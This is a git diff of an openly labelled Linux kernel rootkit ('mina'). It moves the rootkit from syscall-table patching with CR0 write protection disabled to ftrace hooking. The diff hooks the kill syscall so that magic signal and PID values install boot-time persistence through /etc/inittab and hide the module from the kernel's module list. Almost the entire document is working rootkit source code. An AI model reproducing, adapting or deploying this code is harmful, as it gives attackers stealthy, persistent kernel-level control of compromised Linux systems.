diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -11,11 +11,12 @@ MINA_CLIENT_ID = meow
# kernel vars cant define with patsubst for some fucking reason
obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o \
- persistence.o \
- module_hiding.o \
- hooks/hooks.o \
- hooks/kill.o
+mina_$(MINA_CLIENT_ID)-objs := mina.o persistence.o
+
+
+MY_CFLAGS += -Os -Wno-missing-prototypes -Wno-missing-declarations
+ccflags-y += ${MY_CFLAGS}
+CC += ${MY_CFLAGS}
# TODO(djnn): add compile-time debug mode using macros
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -1,61 +0,0 @@
-
-/*
- this file contains all the necessary util function to set up, tear down,
- modify, search for hooks, and anything of the sort.
-*/
-
-#include <linux/init.h>
-#include <linux/kallsyms.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/namei.h>
-#include <linux/syscalls.h>
-
-#include "../includes/mina.h"
-
-static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
- kallsyms_lookup_function_t lkp = NULL;
- struct kprobe kp = {
- .symbol_name = "kallsyms_lookup_name",
- };
-
- if (register_kprobe(&kp) < 0) {
- printk(KERN_INFO "could not register kprobe");
- return NULL;
- }
- lkp = (kallsyms_lookup_function_t)kp.addr;
- unregister_kprobe(&kp);
- return lkp;
-}
-
-uint64_t *get_syscall_table(void) {
- kallsyms_lookup_function_t lookup = get_kallsyms_lookup();
-
- return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
-}
-
-inline void commit_cr0(unsigned long cr0) {
- asm volatile("mov %0,%%cr0" : "+r"(cr0) : : "memory");
-}
-
-void enable_memory_protection(void) {
- unsigned long cr0 = read_cr0();
-
- set_bit(16, &cr0);
- commit_cr0(cr0);
-}
-
-void disable_memory_protection(void) {
- unsigned long cr0 = read_cr0();
-
- clear_bit(16, &cr0);
- commit_cr0(cr0);
-}
-
-hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
- for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
- if (sys_hooks[ctr].syscall_nb == syscall_nb)
- return &sys_hooks[ctr];
- }
- return NULL;
-}
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,41 +0,0 @@
-
-/*
- this file contains the hooked function for the hook syscall.
-*/
-
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kprobes.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-
-#include "../includes/mina.h"
-
-#define PERSISTENCE_CODE (3794)
-
-#define TOGGLE_HIDE_CODE (434)
-
-short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
- int pid = regs->di;
- int sig = regs->si;
- hook_t *metadata = retrieve_hook_metadata(__NR_kill);
-
- printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
- if (!metadata) {
- printk(KERN_INFO "[mina] no metadata");
- return -EINVAL;
- }
-
- if (pid == PERSISTENCE_CODE) {
- const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
- return add_inittab_entry(str) != 0 ? EINVAL : 0;
- }
-
- if (pid == TOGGLE_HIDE_CODE) {
- toggle_hide_module();
- return 0;
- }
-
- return metadata->original(regs);
-}
diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -0,0 +1,183 @@
+/*
+ * Helper library for ftrace hooking kernel functions
+ * Author: Harvey Phillips ([email protected])
+ * License: GPL
+ * */
+
+#include <linux/ftrace.h>
+#include <linux/linkage.h>
+#include <linux/slab.h>
+#include <linux/uaccess.h>
+#include <linux/version.h>
+
+#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4, 17, 0))
+#define PTREGS_SYSCALL_STUBS 1
+#endif
+
+/*
+ * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported,
+ * so we have to use kprobes to get the address.
+ * Full credit to @f0lg0 for the idea.
+ */
+#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
+#define KPROBE_LOOKUP 1
+#include <linux/kprobes.h>
+static struct kprobe kp = {
+ .symbol_name = "kallsyms_lookup_name"};
+#endif
+
+#define HOOK(_name, _hook, _orig) \
+ { \
+ .name = (_name), \
+ .function = (_hook), \
+ .original = (_orig), \
+ }
+
+/* We need to prevent recursive loops when hooking, otherwise the kernel will
+ * panic and hang. The options are to either detect recursion by looking at
+ * the function return address, or by jumping over the ftrace call. We use the
+ * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
+ * setting it to 1. (Ordinarily ftrace provides its own protections against
+ * recursion, but it relies on saving return registers in $rip. We will likely
+ * need the use of the $rip register in our hook, so we have to disable this
+ * protection and implement our own).
+ * */
+#define USE_FENTRY_OFFSET 0
+#if !USE_FENTRY_OFFSET
+#pragma GCC optimize("-fno-optimize-sibling-calls")
+#endif
+
+/* We pack all the information we need (name, hooking function, original function)
+ * into this struct. This makes it easier for setting up the hook and just passing
+ * the entire struct off to fh_install_hook() later on.
+ * */
+struct ftrace_hook {
+ const char *name;
+ void *function;
+ void *original;
+
+ unsigned long address;
+ struct ftrace_ops ops;
+};
+
+/* Ftrace needs to know the address of the original function that we
+ * are going to hook. As before, we just use kallsyms_lookup_name()
+ * to find the address in kernel memory.
+ * */
+static int fh_resolve_hook_address(struct ftrace_hook *hook) {
+#ifdef KPROBE_LOOKUP
+ typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
+ kallsyms_lookup_name_t kallsyms_lookup_name;
+ register_kprobe(&kp);
+ kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr;
+ unregister_kprobe(&kp);
+#endif
+ hook->address = kallsyms_lookup_name(hook->name);
+
+ if (!hook->address) {
+ printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
+ return -ENOENT;
+ }
+
+#if USE_FENTRY_OFFSET
+ *((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE;
+#else
+ *((unsigned long *)hook->original) = hook->address;
+#endif
+
+ return 0;
+}
+
+/* See comment below within fh_install_hook() */
+static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) {
+ struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
+
+#if USE_FENTRY_OFFSET
+ regs->ip = (unsigned long)hook->function;
+#else
+ if (!within_module(parent_ip, THIS_MODULE))
+ regs->ip = (unsigned long)hook->function;
+#endif
+}
+
+/* Assuming we've already set hook->name, hook->function and hook->original, we
+ * can go ahead and install the hook with ftrace. This is done by setting the
+ * ops field of hook (see the comment below for more details), and then using
+ * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
+ * provided by ftrace.h
+ * */
+int fh_install_hook(struct ftrace_hook *hook) {
+ int err;
+ err = fh_resolve_hook_address(hook);
+ if (err)
+ return err;
+
+ /* For many function hooks (especially non-trivial ones), the $rip
+ * register gets modified, so we have to alert ftrace to this fact. This
+ * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
+ * need to OR the RECURSION_SAFE flag (effectively turning it OFF) because
+ * the built-in anti-recursion guard provided by ftrace is useless if
+ * we're modifying $rip. This is why we have to implement our own checks
+ * (see USE_FENTRY_OFFSET). */
+ hook->ops.func = (ftrace_func_t)fh_ftrace_thunk;
+ hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
+
+ err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
+ if (err) {
+ printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+ return err;
+ }
+
+ err = register_ftrace_function(&hook->ops);
+ if (err) {
+ printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
+ return err;
+ }
+
+ return 0;
+}
+
+/* Disabling our function hook is just a simple matter of calling the built-in
+ * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
+ * opposite order to that in fh_install_hook()).
+ * */
+void fh_remove_hook(struct ftrace_hook *hook) {
+ int err;
+ err = unregister_ftrace_function(&hook->ops);
+ if (err) {
+ printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
+ }
+
+ err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
+ if (err) {
+ printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+ }
+}
+
+/* To make it easier to hook multiple functions in one module, this provides
+ * a simple loop over an array of ftrace_hook struct
+ * */
+int fh_install_hooks(struct ftrace_hook *hooks, size_t count) {
+ int err;
+ size_t i;
+
+ for (i = 0; i < count; i++) {
+ err = fh_install_hook(&hooks[i]);
+ if (err)
+ goto error;
+ }
+ return 0;
+
+error:
+ while (i != 0) {
+ fh_remove_hook(&hooks[--i]);
+ }
+ return err;
+}
+
+void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
+ size_t i;
+
+ for (i = 0; i < count; i++)
+ fh_remove_hook(&hooks[i]);
+}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -5,34 +5,15 @@
#include <linux/kernel.h>
#include <linux/module.h>
-#include <linux/kprobes.h>
-
-typedef short unsigned int (*syscall_t)(const struct pt_regs *);
-typedef struct function_hook_metadata {
- uint8_t syscall_nb;
- syscall_t hook;
- syscall_t original;
-} hook_t;
-
-typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
-
// persistence.c
int add_inittab_entry(char const *entry);
// module_hiding.c
void toggle_hide_module(void);
-// hooks/hooks.c
-uint64_t *get_syscall_table(void);
-void disable_memory_protection(void);
-void enable_memory_protection(void);
-hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
-
-// hooks/kill.c
-short unsigned int hooked_kill_syscall(const struct pt_regs *);
+#define PERSISTENCE_CODE (50)
+#define TOGGLE_HIDE_CODE (60)
-static hook_t sys_hooks[] = {
- {.syscall_nb = __NR_kill, .hook = hooked_kill_syscall, .original = NULL},
-};
+#define MAGIC_PID (1337)
#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -13,42 +13,65 @@ MODULE_VERSION("0.0.1");
/*
* mina.ko/rootkit
- *
* tiny LKM rootkit written by djnn (https://djnn.sh)
*/
-static int __init module_start(void) {
- uint64_t *sys_table = get_syscall_table();
- if (!sys_table)
- return -1;
+/* used for hooking */
+#include "includes/ftrace_helper.h"
- disable_memory_protection();
- for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
- printk(KERN_INFO "[mina] setting syscall nb %d (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].syscall_nb, sys_hooks[ctr].original, sys_hooks[ctr].hook);
+/* KILL HOOK */
- sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
- sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
+static asmlinkage long (*original_kill)(const struct pt_regs *);
+asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
+ int signal = regs->si;
+ int pid = regs->di;
- printk(KERN_INFO "[mina] setting done (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].original, sys_hooks[ctr].hook);
+ printk(KERN_INFO "[mina] hooked kill: %d (pid: %d)\n", signal, pid);
+ if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
+ const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
+ return add_inittab_entry(str);
}
- enable_memory_protection();
- printk(KERN_INFO "mina is cute ~\n");
- return 0;
+ if (signal == TOGGLE_HIDE_CODE && pid == MAGIC_PID) {
+ toggle_hide_module();
+ return 0;
+ }
+ return original_kill(regs);
}
-static void __exit module_end(void) {
- uint64_t *sys_table = get_syscall_table();
+static struct ftrace_hook hooks[] = {
+ HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
+};
- if (!sys_table)
- return;
+/* required to show / hide the module (hidden by default) */
+int current_module_is_hidden = 0;
+struct list_head *prev_module;
- disable_memory_protection();
- for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
- sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
+void toggle_hide_module(void) {
+ if (current_module_is_hidden == 1) {
+ list_add(&THIS_MODULE->list, prev_module);
+ printk(KERN_INFO "[mina] welcome back!\n");
+ current_module_is_hidden = 0;
+ } else {
+ prev_module = THIS_MODULE->list.prev;
+ list_del(&THIS_MODULE->list);
+ current_module_is_hidden = 1;
}
+}
+
+static int __init module_start(void) {
+ int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
+ if (error) {
+ return error;
+ }
+
+ printk(KERN_INFO "mina is cute ~\n");
+ return 0;
+}
+
+static void __exit module_end(void) {
+ fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
- enable_memory_protection();
printk(KERN_INFO "bye-bye mina ~\n");
}
diff --git a/rootkit/module_hiding.c b/rootkit/module_hiding.c
@@ -1,23 +0,0 @@
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-
-#include "includes/mina.h"
-
-/* required to show / hide the module (hidden by default) */
-int is_hidden = 1;
-struct list_head *prev_module;
-
-void toggle_hide_module(void) {
- if (is_hidden == 1) {
- list_add(&THIS_MODULE->list, prev_module);
- printk(KERN_INFO "[mina] welcome back!\n");
- is_hidden = 0;
- } else {
- prev_module = THIS_MODULE->list.prev;
- list_del(&THIS_MODULE->list);
- is_hidden = 1;
- }
-}
| | | | | | |